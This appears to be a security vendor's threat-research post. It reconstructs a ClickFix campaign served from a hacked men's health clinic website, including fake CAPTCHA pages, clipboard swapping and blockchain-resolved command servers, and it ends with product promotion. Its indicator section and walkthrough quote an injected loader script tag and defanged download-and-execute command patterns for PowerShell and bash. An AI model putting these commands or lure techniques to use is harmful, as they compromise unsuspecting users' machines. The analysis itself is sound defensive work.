An employee suspects his energy and focus aren’t what they used to be. During a lunch break, from his work laptop, he googles “low testosterone clinic near me,” clicks a result, and lands on the website of a men’s health clinic in Ohio, US. The site looks exactly right: real doctors, real address, online booking. A Cloudflare-style security check pops up—annoying, but familiar. He clicks the checkbox, follows the keyboard instructions, and goes back to work.

He has just pasted and run an attacker’s command on a corporate endpoint. No phishing email, no suspicious attachment, no sketchy domain. The clinic’s website is a real business—and, at the time of our research, a compromised one.

At Secufusion, we reconstructed the attack end to end, from a single injected script tag to a 795 MB payload.

This is a mass scenario, not an exotic one

Why would attackers bother with a small men’s health clinic? Because the traffic they want is already flowing there.

Attackers frequently capitalize on high-intent search queries around health topics, where victims naturally turn to online search engines for answers. By targeting healthcare clinic websites that already attract steady organic traffic, threat actors can effortlessly position fake verification prompts directly in the path of motivated users.

Healthcare is explicitly in the crosshairs: HHS issued a dedicated ClickFix sector alert in October 2024 (HHS). ClickFix-style tradecraft has been linked by outside researchers to the breaches at Kettering Health (Ohio, 1.7 million affected individuals) and DaVita (2.7 million)—with an important caveat: neither organization has officially confirmed the vector; the linkage comes from third-party analysis (The Hacker News). Finally, the supply of compromised sites is effectively unlimited: more than 96% of hacked CMS-based sites run WordPress, per Sucuri’s website-threat telemetry, and 88% of small-business breaches involve ransomware—small healthcare businesses are classic prey (HIPAA Journal).

What we found: a real clinic, quietly weaponized

The victim is a men’s health (testosterone therapy) clinic in Ohio, USA—a WordPress site with an online store, a domain roughly six years old, and real patients. Nothing about its age, reputation, or content would trip a web filter.

Yet the compromise is visible to anyone who looks closely. The homepage’s markup contains a hidden link farm: roughly 47 casino doorway links (including domains in the .edu.gr zone) stuffed into the page, invisible to visitors but indexable by search engines. A stray German-language casino post sat in the clinic’s blog. These are classic signs of a WordPress site that has been fully taken over—SEO spam pays the bills while the real payload does the damage.

The real payload is an injected script tag, disguised as an analytics tracker:

<script id="ganalytics-tracker-js" src="https://<rotating-domain>/t.js?site=9381d437cd39b0d52bb2dd91a539d149">

That single tag turned every page of the clinic’s site into a malware delivery point—and it was live when we captured it.

How the attack works, step by step

From that one injection point, the operation runs three parallel delivery branches, selected server-side. We assess this diversity as a sign of a ClickFix-as-a-Service offering rather than a single author’s work.

Branch 1 — macOS, the fake reCAPTCHA. The loader filters by user agent and applies what looks like a 50/50 A/B split. In reality it is signature rotation: two functionally identical builds with different obfuscation seeds, so that blocking one by hash leaves the other alive. The victim sees a convincing reCAPTCHA widget—genuine Google logo, localized into 14 languages. One click, and the clipboard silently fills with a two-part command: an echo printing a fake “reCAPTCHA Verification ID” (six digits, pure theater), followed by a base64 blob piped into bash. Decoded, the blob is a curl one-liner that pulls the real payload from a bare IP address (45.131.215[.]56), executes it from /tmp, wipes shell history, and prints “✓ Verification successful” as cover. Nine telemetry events—including whether the victim pressed ⌘+Space—beacon back to a /collect endpoint, giving the operators a live view of their conversion funnel.

Branch 2 — Windows, the iframe kit. A 1.6 MB loader (embed.js), more than half of which is pure anti-analysis: detection of security-researcher browser extensions, favicon-probing of social-login state to fingerprint sandboxes, headless-browser and webdriver checks. It fetches a configuration from the server, renders an iframe (internal codename “stillhaze”), and hands the victim’s clipboard the command via postMessage. The command itself is assembled server-side and was not captured—an open item.

Branch 3 — Windows, EtherHiding. The most interesting branch, and the one we fully reconstructed. The injected script contains no command-and-control address at all. Instead it performs a read-only eth_call to a smart contract on the Polygon blockchain—with failover across 14 public RPC endpoints—and the contract returns the current delivery domain: idcool[.]codes. There is no DNS record to sinkhole at this step; the resolver is the blockchain. The domain then serves 166 KB of double-obfuscated JavaScript (XOR → base64 → XOR) that renders a completely self-contained fake Cloudflare verification page in 12 languages, fabricated Ray ID included.

The final step in every branch is the same: the victim, following the fake verification’s instructions, pastes and runs a command that downloads the real malware—in the EtherHiding branch, a short PowerShell line, irm 'idcool[.]codes/<one-time-token>'|iex;, that leads through two more stages to a 795 MB executable named WIservice.exe.

The tricks that make it work

The delivery pages are crude-looking. The engineering behind them is not:

• Clipboard swap on the Windows key. Clicking the checkbox copies a random nine-digit decoy number. The actual command enters the clipboard only on the keydown event for the Windows key itself (keyCode 91/92). This specifically defeats the cautious habit of pasting into Notepad first to inspect the clipboard: the inspection shows a harmless number, and the instant the user presses Win to open a run dialog, the content is switched.

• Win+X → I instead of Win+R. The instructions walk the victim through launching PowerShell from the Windows power-user menu—a fresher path that doesn’t match the “press Win+R” pattern awareness training has taught users to distrust.

• Server-side confirmation of execution. The page polls its server every 1.5 seconds. The server answers fetched once the payload has been downloaded and consumed once it has actually executed—only then is the victim redirected onward. The operators know, in real time, whether the command ran.

• Infrastructure rotation built for blocklists. The injection domains rotate roughly every 48 hours—about a dozen distinct generated domains observed across September alone. Combined with the A/B obfuscation, blocking by domain or by hash is a losing game.

• A payload built to evade analysis. The final WIservice.exe is padded with junk data to roughly 795 MB—deliberately past the file-size limits of many antivirus engines and sandbox upload queues. It is delivered inside a password-protected 7-Zip archive (002700s), another layer that blocks automated inspection. Its family is not yet established; that remains an open question pending further analysis.

• EtherHiding, twice. The delivered malware itself also reaches out to Polygon RPC endpoints to resolve its configuration—blockchain-based resolution as a second layer, inside the payload, not just in the delivery page (the specific contract it queries was not identified).

Behind all three branches sits a single backend: one Seychelles-hosted server that acts simultaneously as the delivery C2, the payload C2, and a control panel its operators call “RCS Panel”—roughly 350 domains point at it. Third-party feeds tag the same infrastructure as ClickFix/ClearFake C2 with high confidence, so we assess—with moderate confidence, based on that third-party tagging—that this campaign is part of the broader ClearFake ecosystem.

Why the traditional stack is blind to this

Walk the attack through a standard security stack. The clinic’s domain is six years old with a clean reputation—web filtering passes it. Nothing arrives by email, so the SMTP gateway never sees it; the delivery channel is a Google search the user performs himself. The malicious script executes in the browser’s context, inside a legitimate page—invisible to network appliances, and invisible to EDR until a user-launched PowerShell process appears, by which point the user believes they completed a routine security check. The payload’s size defeats sandbox detonation limits, the delivery domains and build hashes rotate on a ~48-hour cycle, and the C2 address lives on a blockchain.

The entire attack lives at the browser layer and completes with a user action. The moment the user presses Enter is the last point where a browser-layer control can still stop the chain—by catching the injected script, the fake verification, or the clipboard swap before the command ever reaches a terminal.

What to ask your security stack

Ask your current vendors—and yourself—five questions:

1. Can you see script injections on legitimate, long-registered websites? Not known-bad domains—real ones, like a six-year-old clinic site with patients and a booking form.
2. Can you detect a clipboard swap? Specifically: a page that writes a decoy value to the clipboard on click and silently replaces it with a command on a Win/Meta keydown.
3. Do you monitor newly observed script-hosting domains? The injection domains here rotated every ~48 hours and had no reputation history to check against.
4. Can you see blockchain-based C2 resolution? A browser page calling a smart contract to discover its command-and-control is not a pattern most stacks inspect.
5. Where does your visibility end? If the honest answer is “when the user runs the command themselves,” this attack was engineered for exactly that gap.

There is also a governance angle: the clinic’s site showed visible signs of compromise—casino SEO spam—for anyone who inspected the markup. Third-party and vendor websites your employees visit for business or personal errands are part of your effective attack surface, whether or not you manage them.

Where Secufusion fits

Secufusion is built on a simple premise: the browser is where work happens, so the browser is where detection has to happen. Our BDR (Browser Detection & Response) layer—deployed as an enterprise browser or as an extension for Chrome, Edge, and Firefox—is designed to give security teams real-time visibility into the techniques this campaign relies on: script injections on otherwise legitimate pages, fake verification flows rendered in-page, clipboard hijacking tied to user keystrokes, and newly registered domains serving first-stage scripts. Detection is designed to happen at the browser layer, before the user’s Enter key turns a web page into a host compromise.

We won’t claim detections we haven’t validated against this specific campaign. But every stage of this chain—the injected tag, the fake Cloudflare check, the clipboard swap, the blockchain-resolved C2—was visible in a browser, and only in a browser.

Your employees will keep googling their health questions from work laptops. The question is whether anyone is watching the layer where those searches land.

Indicators of Compromise

Command patterns to hunt for:

• Windows: PowerShell one-liners of the form irm 'idcool[.]codes/<16-hex-token>'|iex;—the token is one-time and rotates; hunt for the irm ... | iex pattern combined with browser-parent process trees (PowerShell spawned via a user’s manual run after browsing).

• macOS: clipboard-borne commands of the form echo 'I am not a robot - reCAPTCHA Verification ID: <6 digits>' && echo '<BASE64>' | base64 -D | bash—the fake verification ID prefix is a strong signature.

Attacker infrastructure:

The next ClickFix lure won’t arrive in an inbox. It will come from a trusted website, a routine search, and a checkbox that looks like every other security check. Make sure your defenses are watching the browser, because that is where the attack begins.